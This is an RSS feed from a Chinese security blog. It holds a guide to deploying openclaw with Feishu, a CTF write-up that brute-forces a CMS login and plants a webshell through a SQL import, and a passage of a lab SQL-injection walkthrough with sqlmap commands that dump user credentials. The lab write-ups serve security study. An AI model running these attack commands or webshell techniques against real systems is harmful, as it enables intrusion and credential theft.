<?xml version="1.0" encoding="utf-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><title>信安365</title><link>http://www.itsec365.cn/</link><description>渗透测试 安全编码 ISO27001 等级保护</description><item><title>“龙虾”养成记：虚拟机部署openclaw并与飞书对接</title><link>http://www.itsec365.cn/?id=79</link><description>&lt;p style=&quot;;font-size:15px&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; valign=&quot;top&quot; title=&quot;&quot; summary=&quot;&quot;&gt;&lt;tbody&gt;&lt;tr class=&quot;firstRow&quot;&gt;&lt;td style=&quot;border-style: solid; border-color: rgb(163, 163, 163); border-width: 1px; vertical-align: top; padding: 5px;&quot; width=&quot;180&quot;&gt;&lt;p style=&quot;;font-family:&amp;#39;Microsoft YaHei&amp;#39;;font-size:15px&quot;&gt;项目&lt;/p&gt;&lt;/td&gt;&lt;td style=&quot;border-style: solid; border-color: rgb(163, 163, 163); border-width: 1px; vertical-align: top; padding: 5px;&quot; width=&quot;217.33333333333331&quot;&gt;&lt;p style=&quot;;font-family:&amp;#39;Microsoft YaHei&amp;#39;;font-size:15px&quot;&gt;要求&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;border-style: solid; border-color: rgb(163, 163, 163); border-width: 1px; vertical-align: top; padding: 5px;&quot; width=&quot;190.33333333333334&quot;&gt;&lt;p style=&quot;;font-family:&amp;#39;Microsoft YaHei&amp;#39;;font-size:15px&quot;&gt;操作系统&lt;/p&gt;&lt;/td&gt;&lt;td style=&quot;border-style: solid; border-color: rgb(163, 163, 163); border-width: 1px; vertical-align: top; padding: 5px;&quot; width=&quot;207.33333333333331&quot;&gt;&lt;p style=&quot;;font-family:Calibri;font-size:15px&quot;&gt;debian &amp;nbsp; 12&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;border-style: solid; border-color: rgb(163, 163, 163); border-width: 1px; vertical-align: top; padding: 5px;&quot; width=&quot;180&quot;&gt;&lt;p style=&quot;;font-family:Calibri;font-size:15px&quot;&gt;node&lt;/p&gt;&lt;/td&gt;&lt;td style=&quot;border-style: solid; border-color: rgb(163, 163, 163); border-width: 1px; vertical-align: top; padding: 5px;&quot; width=&quot;207.33333333333331&quot;&gt;&lt;p style=&quot;;font-size:15px&quot;&gt;&lt;span style=&quot;font-family:Calibri&quot;&gt;22.0.0&lt;/span&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;或更高版本&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;border-style: solid; border-color: rgb(163, 163, 163); border-width: 1px; vertical-align: top; padding: 5px;&quot; width=&quot;180&quot;&gt;&lt;p style=&quot;;font-family:&amp;#39;Microsoft YaHei&amp;#39;;font-size:15px&quot;&gt;包管理器&lt;/p&gt;&lt;/td&gt;&lt;td style=&quot;border-style: solid; border-color: rgb(163, 163, 163); border-width: 1px; vertical-align: top; padding: 5px;&quot; width=&quot;207.33333333333331&quot;&gt;&lt;p style=&quot;;font-size:15px&quot;&gt;&lt;span style=&quot;font-family:Calibri&quot;&gt;pnpm&lt;/span&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;或&lt;/span&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;npm&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;border-style: solid; border-color: rgb(163, 163, 163); border-width: 1px; vertical-align: top; padding: 5px; word-break: break-all;&quot; width=&quot;180&quot;&gt;&lt;p style=&quot;;font-family:&amp;#39;Microsoft YaHei&amp;#39;;font-size:15px&quot;&gt;代码管理工具&lt;/p&gt;&lt;/td&gt;&lt;td style=&quot;border-style: solid; border-color: rgb(163, 163, 163); border-width: 1px; vertical-align: top; padding: 5px;&quot; width=&quot;207.33333333333331&quot;&gt;&lt;p style=&quot;;font-family:Calibri;font-size:15px&quot;&gt;git&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p style=&quot;;font-family:&amp;#39;Microsoft YaHei&amp;#39;;font-size:15px&quot;&gt;最低配置建议（硬件）&lt;/p&gt;&lt;p style=&quot;;font-size:15px&quot;&gt;&lt;span style=&quot;font-family:Calibri&quot;&gt;CPU&lt;/span&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;：&lt;/span&gt;&lt;span style=&quot;font-family:Calibri&quot;&gt;2 &lt;/span&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;核以上（建议&lt;/span&gt;&lt;span style=&quot;font-family:Calibri&quot;&gt; 4 &lt;/span&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;核）&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;;font-size:15px&quot;&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;内存：&lt;/span&gt;&lt;span style=&quot;font-family:Calibri&quot;&gt;4 GB &lt;/span&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;起步（建议&lt;/span&gt;&lt;span style=&quot;font-family:Calibri&quot;&gt; 8 GB+&lt;/span&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;）&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;;font-size:15px&quot;&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;磁盘：至少&lt;/span&gt;&lt;span style=&quot;font-family:Calibri&quot;&gt; 5 GB &lt;/span&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;可用空间&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Microsoft YaHei&amp;quot;;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;;font-family:&amp;#39;Microsoft YaHei&amp;#39;;font-size:15px&quot;&gt;一、更新系统及安装基础工具&lt;/p&gt;&lt;p style=&quot;;font-family:Calibri;font-size:15px&quot;&gt;sudo apt update &amp;amp;&amp;amp; sudo apt upgrade -y&lt;/p&gt;&lt;p style=&quot;;font-family:Calibri;font-size:15px&quot;&gt;sudo apt install -y curl wget git python3 build-essential libssl-dev ufw&lt;/p&gt;&lt;p style=&quot;;font-size:15px&quot;&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;二、安装&lt;/span&gt;&lt;span style=&quot;font-family:Calibri&quot;&gt;nodejs&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;;font-family:Calibri;font-size:15px&quot;&gt;curl -fsSL &lt;a href=&quot;https://deb.nodesource.com/setup_22.x&quot;&gt;https://deb.nodesource.com/setup_22.x&lt;/a&gt; | sudo -E bash -&lt;/p&gt;&lt;p style=&quot;;font-family:Calibri;font-size:15px&quot;&gt;sudo apt install -y nodejs&lt;/p&gt;&lt;p style=&quot;;font-family:Calibri;font-size:15px&quot;&gt;node --version&lt;/p&gt;&lt;p style=&quot;;font-family:Calibri;font-size:15px&quot;&gt;npm --version&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;;font-family:&amp;#39;Microsoft YaHei&amp;#39;;font-size:15px&quot;&gt;三、翻墙&lt;/p&gt;&lt;p style=&quot;;font-size:15px&quot;&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;翻墙我用的是&lt;/span&gt;&lt;span style=&quot;font-family:Calibri&quot;&gt;Clash Verge&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;;font-size:15px&quot;&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;四、安装&lt;/span&gt;&lt;span style=&quot;font-family:Calibri&quot;&gt;openclaw&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;;font-family:Calibri;font-size:15px&quot;&gt;curl -fsSL &lt;a href=&quot;https://openclaw.ai/install.sh&quot;&gt;https://openclaw.ai/install.sh&lt;/a&gt; | bash&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866061180328.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;;font-size:15px&quot;&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;注意，如果你的&lt;/span&gt;&lt;span style=&quot;font-family:Calibri&quot;&gt;debian&lt;/span&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;是英文版，需要执行以下语句，防止中文乱码&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;;font-family:Calibri;font-size:15px&quot;&gt;export.UTF-8&lt;/p&gt;&lt;p style=&quot;;font-family:Calibri;font-size:15px&quot;&gt;export LC_ALL=C.UTF-8&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866101759758.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;选&lt;/span&gt;&lt;span style=&quot;font-family:Calibri&quot;&gt;yes&lt;/span&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;继续&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866131163420.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;这里我用的是阿里云百练&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866149742916.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866175202466.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866185163708.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866197601751.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866208517603.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866218163859.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866230196326.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;注：安装插件要等一段时间的，&lt;/span&gt;&lt;span style=&quot;font-family:Calibri&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;，&lt;/span&gt;&lt;span style=&quot;font-family:Calibri&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;分钟。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866261185591.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866269132140.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;注：这里要提前申请飞书的应用凭证&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866284728825.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866299586678.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866315101226.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866329228065.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866337185689.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866347161546.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866362203463.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin:0in;font-family:&amp;quot;Microsoft YaHei&amp;quot;;font-size:11.0pt&quot;&gt;到此安装已经完成。&lt;/p&gt;&lt;p style=&quot;margin:0in;font-family:&amp;quot;Microsoft YaHei&amp;quot;;font-size:11.0pt&quot;&gt;你可以在命令行中输入内容进行测试。&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866381190814.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;;font-size:15px&quot;&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;因为安装使用的地址是本地回环地址，在虚拟机以外无法访问。需要&lt;/span&gt;&lt;span style=&quot;font-family:Calibri&quot;&gt;ssh&lt;/span&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;代理转发出来。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;;font-family:Calibri;font-size:15px&quot;&gt;ssh -N -L 18789:127.0.0.1:18789 root@192.168.72.184&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866399716701.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;;font-size:15px&quot;&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;这样，在实体机中就可以用&lt;/span&gt;&lt;span style=&quot;font-family:Calibri&quot;&gt;http://127.0.0.1:18789&lt;/span&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;进行访问了。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;;font-family:&amp;#39;Microsoft YaHei&amp;#39;;font-size:15px&quot;&gt;访问时出现了这样的错误&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866421875298.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family:&amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;那是因你，没有配置&lt;/span&gt;&lt;span style=&quot;font-family:Calibri&quot;&gt;token&lt;/span&gt;&lt;span style=&quot;font-family: &amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;#39;Microsoft YaHei&amp;#39;&quot;&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866442177759.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866453212159.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;点击连接即可成功&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866467537722.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;现在可以对话了。&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866486158407.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin:0in;font-family:&amp;quot;Microsoft YaHei&amp;quot;;font-size:11.0pt&quot;&gt;我们再看看飞书中的使用。&lt;/p&gt;&lt;p style=&quot;margin:0in;font-family:&amp;quot;Microsoft YaHei&amp;quot;;font-size:11.0pt&quot;&gt;在对话前要做个配对，按提示做即可。&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866503192053.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866512106758.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;现在可以正常使用了。&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866531778698.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;能够操作授权的命令&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2026/03/202603071772866566582090.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;完工大吉！！！&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Sat, 07 Mar 2026 14:46:30 +0800</pubDate></item><item><title>CMS系统漏洞分析溯源(第6题)</title><link>http://www.itsec365.cn/?id=76</link><description>&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501061736168786108173.png&quot; title=&quot;Image.png&quot; alt=&quot;Image.png&quot;/&gt;启动靶机，访问后显示的是这个页面，根据题的提示，首先用web目录扫描工具进行扫描。我用的是kali下的dirburster,目录字典是自带的。&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501061736168812441974.png&quot; title=&quot;Image [1].png&quot; alt=&quot;Image [1].png&quot;/&gt;扫描结果如下图，然后逐一测试，看是否能访问，是否能找到后台登录界面。&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501061736168834889389.png&quot; title=&quot;Image [2].png&quot; alt=&quot;Image [2].png&quot;/&gt;&lt;/p&gt;&lt;div style=&quot;-en-clipboard:true;&quot;&gt;当测试到这一地址（&lt;a href=&quot;http://124.70.71.251:49521/servlets/page.php&quot;&gt;http://124.70.71.251:49521/servlets/page.php&lt;/a&gt;）时，&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501061736168863211786.png&quot; title=&quot;Image [3].png&quot; alt=&quot;Image [3].png&quot;/&gt;显示如下页面。&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501061736168889135292.png&quot; title=&quot;Image [4].png&quot; alt=&quot;Image [4].png&quot;/&gt;&lt;/p&gt;&lt;div style=&quot;-en-clipboard:true;&quot;&gt;这应该就是后台登录页面了。&lt;/div&gt;&lt;div&gt;首先想到的是登录密码暴力破解，那用户名是什么呢？肯定不是admin。那仔细观察首面，看到了2个账号信息，分别为：mozhe666和mozhe777&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501061736168908190133.png&quot; title=&quot;Image [5].png&quot; alt=&quot;Image [5].png&quot;/&gt;那就使用burp suite进行破解吧。&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501061736168938512425.png&quot; title=&quot;Image [6].png&quot; alt=&quot;Image [6].png&quot;/&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501061736168959926154.png&quot; title=&quot;Image [7].png&quot; alt=&quot;Image [7].png&quot;/&gt;遍历结束，未发现密码。&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501061736168993950665.png&quot; title=&quot;Image [8].png&quot; alt=&quot;Image [8].png&quot;/&gt;再用mozhe777这个账号试试，发现有个密码，输入后，reponse的信息长度有变化&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501061736169016154658.png&quot; title=&quot;Image [9].png&quot; alt=&quot;Image [9].png&quot;/&gt;&lt;/p&gt;&lt;div style=&quot;-en-clipboard:true;&quot;&gt;那就用这个密码登录试试&lt;/div&gt;&lt;div&gt;嘿，登录成功了！！！&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501061736169035187111.png&quot; title=&quot;Image [10].png&quot; alt=&quot;Image [10].png&quot;/&gt;&lt;/p&gt;&lt;div style=&quot;-en-clipboard:true;&quot;&gt;那现在怎么把shell放上去呢？我测试在头像上传php文件，被拒绝，只能上传图片，找到上传zip文件的地方，也只能上传压缩包，整体系统应该不存在上传漏洞。&lt;/div&gt;&lt;div&gt;研究了一下午，发现数据这页里面有备份和导入功能。&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501061736169057183369.png&quot; title=&quot;Image [11].png&quot; alt=&quot;Image [11].png&quot;/&gt;&lt;/p&gt;&lt;div style=&quot;-en-clipboard:true;&quot;&gt;那我是不是可以先备份下来，然后再修改sql语句，利用mysql写入一句话木马呢？&lt;/div&gt;&lt;div&gt;那就先备份一下数据库，看看是什么内容。结果是这样的内容 ，那我改改sql语句，看看是否能够成功写入木马。&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501061736169073202322.png&quot; title=&quot;Image [12].png&quot; alt=&quot;Image [12].png&quot;/&gt;在写入木马之前，这里还有一个问题，这个网站的物理地址是什么呢？哪里有这个信息呢，于是又去网站找了一翻，嘿，竟然找了近1个小时。&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501061736169136137684.png&quot; title=&quot;Image [13].png&quot; alt=&quot;Image [13].png&quot;/&gt;找到了这个页面。&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501061736169157181652.png&quot; title=&quot;Image [14].png&quot; alt=&quot;Image [14].png&quot;/&gt;有了这个绝对地址，那就好办了。把备份下来的sql文件修改一下。我是在最后添加了这样一句话：&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501061736169190285278.png&quot; title=&quot;Image [15].png&quot; alt=&quot;Image [15].png&quot;/&gt;然后导入&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501061736169212343801.png&quot; title=&quot;Image [16].png&quot; alt=&quot;Image [16].png&quot;/&gt;访问一下试试，确实已写入成功&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501061736169231492503.png&quot; title=&quot;Image [17].png&quot; alt=&quot;Image [17].png&quot;/&gt;使用蚊剑进行连接&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501061736169252159259.png&quot; title=&quot;Image [18].png&quot; alt=&quot;Image [18].png&quot;/&gt;&lt;/p&gt;&lt;div style=&quot;-en-clipboard:true;&quot;&gt;现在可以随意访问了。&lt;/div&gt;&lt;div&gt;在系统的根目录找到KEY&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501061736169275130141.png&quot; title=&quot;Image [19].png&quot; alt=&quot;Image [19].png&quot;/&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501061736169282205959.png&quot; title=&quot;Image [20].png&quot; alt=&quot;Image [20].png&quot;/&gt;&lt;/p&gt;&lt;p&gt;好了，要休息了，2025-01-06 21：15！！！！&lt;/p&gt;</description><pubDate>Mon, 06 Jan 2025 21:16:49 +0800</pubDate></item><item><title>SQL过滤字符后手工注入漏洞测试(第3题)</title><link>http://www.itsec365.cn/?id=75</link><description>&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501051736040688206641.png&quot; title=&quot;Image.png&quot; alt=&quot;Image.png&quot;/&gt;启动靶场后，仔细观察，测试登录，无漏洞，测试通知，存在sql注入&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501051736040720175983.png&quot; title=&quot;Image [1].png&quot; alt=&quot;Image [1].png&quot;/&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501051736040826161356.png&quot; title=&quot;Image [2].png&quot; alt=&quot;Image [2].png&quot;/&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501051736040837502464.png&quot; title=&quot;Image [3].png&quot; alt=&quot;Image [3].png&quot;/&gt;在这里，偷个懒，先用sqlmap跑一下。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-python&quot;&gt;python&amp;nbsp;sqlmap.py&amp;nbsp;-u&amp;nbsp;&amp;quot;http://124.70.64.48:48706/new_list.php?id=1&amp;quot;&amp;nbsp;-p&amp;nbsp;id&amp;nbsp;--level&amp;nbsp;5&amp;nbsp;--risk&amp;nbsp;3&amp;nbsp;--dbs&amp;nbsp;--batch&lt;/pre&gt;&lt;p&gt;暴数据库列表&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501051736040908158590.png&quot; title=&quot;Image [4].png&quot; alt=&quot;Image [4].png&quot;/&gt;&lt;/p&gt;&lt;div style=&quot;-en-clipboard:true;&quot;&gt;很明显，min_ju4t_mel1i是我们要的数据库，继续&lt;/div&gt;&lt;div&gt;暴表&lt;/div&gt;&lt;div style=&quot;box-sizing: border-box; padding: 8px; font-family: Monaco, Menlo, Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 12px; color: rgb(51, 51, 51); border-radius: 4px; background-color: rgb(251, 250, 248); border: 1px solid rgba(0, 0, 0, 0.15);-en-codeblock:true;&quot;&gt;&lt;div&gt;python sqlmap.py -u &amp;quot;http://124.70.64.48:48706/new_list.php?id=1&amp;quot; -p id --level 5 --risk 3 -D min&lt;/div&gt;&lt;div&gt;_ju4t_mel1i -tables --batch&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501051736040933935133.png&quot; title=&quot;Image [5].png&quot; alt=&quot;Image [5].png&quot;/&gt;&lt;/p&gt;&lt;div style=&quot;-en-clipboard:true;&quot;&gt;根据题目上的提示，表stormgroup_member看上去是我们需要的。那先暴这个表中的字段吧。&lt;/div&gt;&lt;div style=&quot;box-sizing: border-box; padding: 8px; font-family: Monaco, Menlo, Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 12px; color: rgb(51, 51, 51); border-radius: 4px; background-color: rgb(251, 250, 248); border: 1px solid rgba(0, 0, 0, 0.15);-en-codeblock:true;&quot;&gt;&lt;div&gt;python sqlmap.py -u &amp;quot;http://124.70.64.48:48706/new_list.php?id=1&amp;quot; -p id --level 5 --risk 3 -D min_ju4t_mel1i -T stormgroup_member --cloumns --batch&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501051736040960210704.png&quot; title=&quot;Image [6].png&quot; alt=&quot;Image [6].png&quot;/&gt;&lt;/p&gt;&lt;div style=&quot;-en-clipboard:true;&quot;&gt;dump下name和password&lt;/div&gt;&lt;div style=&quot;box-sizing: border-box; padding: 8px; font-family: Monaco, Menlo, Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 12px; color: rgb(51, 51, 51); border-radius: 4px; background-color: rgb(251, 250, 248); border: 1px solid rgba(0, 0, 0, 0.15);-en-codeblock:true;&quot;&gt;&lt;div&gt;python sqlmap.py -u &amp;quot;http://124.70.64.48:48706/new_list.php?id=1&amp;quot; -p id --level 5 --risk 3 -D min_ju4t_mel1i -T stormgroup_member --dump --batch&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501051736040990119557.png&quot; title=&quot;Image [7].png&quot; alt=&quot;Image 